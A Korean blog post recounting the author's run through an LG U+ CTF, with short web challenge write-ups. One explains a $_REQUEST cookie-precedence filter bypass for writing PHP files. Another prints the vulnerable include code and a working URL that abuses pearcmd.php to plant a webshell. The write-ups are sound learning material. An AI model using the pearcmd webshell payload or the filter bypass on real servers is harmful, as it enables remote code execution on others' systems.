이번에 LG U+에서 열린 CTF를 참가해서 본선까지 갔다왔다
예선은 어찌저찌 좋은 순위로 마감쳐서 본선에 갔었는데 본선에서 탈탈 털려버렸다....
잠시 한탄을 하자면 본선에서 웹 3문제가 나왔는데 젤 어려운 문제를 처음부터 잡아서 나머지 웹이나 Misc 문제를 별로 못본게 너무너무 아쉽다.
진짜 0솔짜리 하나만 풀었어도 순위권 가는거였는데..ㅠㅠ
뭐 아직 실력이 부족한 탓이겠지...
예선
예선은 온라인으로 09:00~18:00까지 진행했다.
예선 문제 Writeup은 Writeup제출 당시 적은걸로 대체하겠다.
저거 Writeup에서 martini 문제풀이 부분에 session cookie값이 같으면 secret값도 같다고 되어있는데
다시 생각해보니깐 그건 아닌거 같고 걍 리모트랑 문제파일 secret값을 같은거 써서 문제파일로 돌리고 쿠키값 똑같이 가져다 써도 잘 인식됐던 것 같다.
사실 예선때 web문제(Sleep)하나를 1솔 냈어서 자신감이 업되어있는 상태로 본선을 가게 됐다.
본선
머기업이라 그런지 본선 진행 장소나 운영 및 굿즈 등은 너무 만족했다.
심지어 무탠다드에서 만든 후드티도 받았다..ㄷㄷ
그리고 노트북 파우치도 준다했었는데 정신없어서 깜빡하고 못받았다ㅠㅠ
대회 팀 로고도 제출하라고 했었는데 개그컨셉으로 짱구 오프닝 사진을 박아놨다
본선은 예선이랑 비슷하게 9:30~16:30 까지 진행했고(사실 예선보다 2시간적음) 포렌식이랑 AI 등의 misc도 나왔는데 나는 Web밖에 안봤다
웹은 아까 말했다시피 총 3문제가 나왔고 난이도는 체감상 중, 중상, 상 인 것 같았다.
가장 쉬운문제는 4솔이었고 나머지 2문제는 0솔이었다.
근데 하필 젤 어려운 문제를 먼저봐서 시간 다뺐기고 끝나기 30분전에 중짜리 문제 하나 풀고 끝냈다 ㅠㅠ
결국 6위까지 상이었는데 처참하게 9위 해버리고 굿즈만 갖고 집에 갔다....
본선 문제 Writeup이다.
1. Page
요 문제는 대회 끝나기 한시간 전에 솔버가 젤 많길래 뭐지 하고 잠깐봤다가 30분컷 낸 문제이다.
일단 php로 만들어져 있었고 HTML, JS, CSS를 만들 수 있는 기능이 있었다.
그리고 뭐 코드가 되게 많았는데 핵심 코드만 보면은 아래 코드에서 파일을 만들때 html, js, css파일로 필터링을 걸고 있었다.
그런데 어? 어디서 많이 본 코드들이 있다.
$_REQUEST로 필터링을 거고 막상 type 입력받는건 POST였다.
예전에 작성한 CCE writeup중에 Advanced Login System포스트를 보면은 똑같은 유형의 문제가 올라와있을 것이다.
$_REQUEST는 GET, POST, COOKIE로 지정할 수 있는데 우선순위가 COOKIE로 젤 먼저 받는걸로 되어있기에 COOKIE에다가 js같은 정상적인 얘를 박아두고 POST에는 php를 넣으면은 정상적으로 필터링 우회가 되면서 php파일을 작성할 수 있다.
뭐 이후엔 php 코드 작성 후 확인하면은 끝이다.
2. No more backdoor
하... 얘는 솔직히 말하면 뒤에 문제 푸느라 제대로 못봤다.
솔직히 뒤에 문제 안보고 얘만 봤으면 풀었을 것 같다.
코드는 매우매우 간단하다.
<?php
ini_set("session.upload_progress.enabled", "Off"); // No Backdoor
extract($_GET); // Gift For u
if (isset($file)) {
if (count_chars($file,1)[124] > 5) { // No filter chain
die("No hack!!");
}
if (preg_match("/^(zip:|compress\.:|http:|ftp:|phar:|glob:|file:)|fd|filter/i",$file)) { // i hate PHP wrappers
die("No hack!!");
}
include($file);
}
?>
이게 끝이다.
내가 매우매우 좋아하는 php include 문제이다.
일단 wrapper는 당연히 못쓰고 session upload_progress까지 막아두고 php filter chain도 사용 못하게 파이프 문자를 5번 이내로 제한시켜놨다.
그러면 남은건? pearcmd.php이다.
pearcmd는 php모듈이 설치되면서 같이 설치되는 파일 중 하나인데 이 pearcmd.php파일을 사용해서 웹쉘을 업로드 할 수 있다.
https://book.hacktricks.xyz/pentesting-web/file-inclusion
여기에 자세하게 나와있다.
일단 경로는 /usr/local/lib/php/pearcmd.php이고 위의 post에선 쿼리스트링으로 argv를 주고 있는데 여기선 그렇게 못한다.
내가 알기로 위의 시도는 php 7.3버전인가에 패치되었기 때문이다.
냅다 이렇게 argv선언 안되어있다고 뭐라 한다.
그런데 여기서 코드에 extract함수가 있었다.
사실 얘갖고 뭐하라는거지 해서 걍 포기했는데 자세히 생각해보니깐 extract로 argv 변수 만들어서 선언해 줄 수 있었다.
하..... 좀만 더했으면 알아냈을 것 같은데...
뭐 여튼 extract활용해서 argv에다가 각각 payload넣고 돌리면 webshell upload가 된다.
http://localhost/?file=/usr/local/lib/php/pearcmd.php&argv[0]=aaaaaaaaaa&argv[1]=config-create&argv[2]=/HERE/%3C?php%20system(%22/readflag%22)?%3E&argv[3]=/tmp/b.php
이러고 걍 /tmp/b.php가서 읽어오면 끝이다.
젠장
3. web storage
얠 오전 9시반부터 봐서 16시반까지 봤는데 못풀었다
사실상 가망 없으면 때려치웠겠지만 다른거 다 우회하고 나머지 하나만 구하면 되가지고 쩔쩔매다가 끝나버렸다...
일단 얘는 좀 뒤에부분이 복잡해서 시험끝나고 upload하겠다.
대충 설명하면 uuid bypass + race condition이다.
'Web Hacking > WriteUp' 카테고리의 다른 글
SECCON CTF 13 Quals 2024 Web Writeup (1) | 2024.11.26 |
---|---|
Buckeye CTF 2024 instructions Writeup (0) | 2024.10.01 |
ASIS CTF 2024 Web Writeup (0) | 2024.09.22 |
WhiteHat School 2nd CTF SSH Tunneling Final Writeup (0) | 2024.09.05 |
Project Sekai CTF 2024 Web Writeup (0) | 2024.08.24 |